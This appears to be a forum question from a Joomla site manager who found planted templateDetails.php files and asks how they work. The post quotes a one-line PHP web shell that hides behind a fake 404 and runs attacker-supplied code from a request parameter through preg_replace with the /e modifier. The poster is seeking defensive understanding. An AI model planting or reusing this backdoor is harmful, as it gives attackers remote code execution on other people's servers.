I just found on the Joomla installation of site I am managing a lot of templateDetails.php files hidden inside various folders with the following code:
<?php if (!isset($_REQUEST['e44e'])) header("HTTP/1.0 404 Not Found"); @preg_replace('/(.*)/e', @$_REQUEST['e44e'], ''); ?>
I promptly recover a site backup, changed all administrator passwords and reinforced security on the website.
Can you explain me how this kind of code be used to stole or damage the website?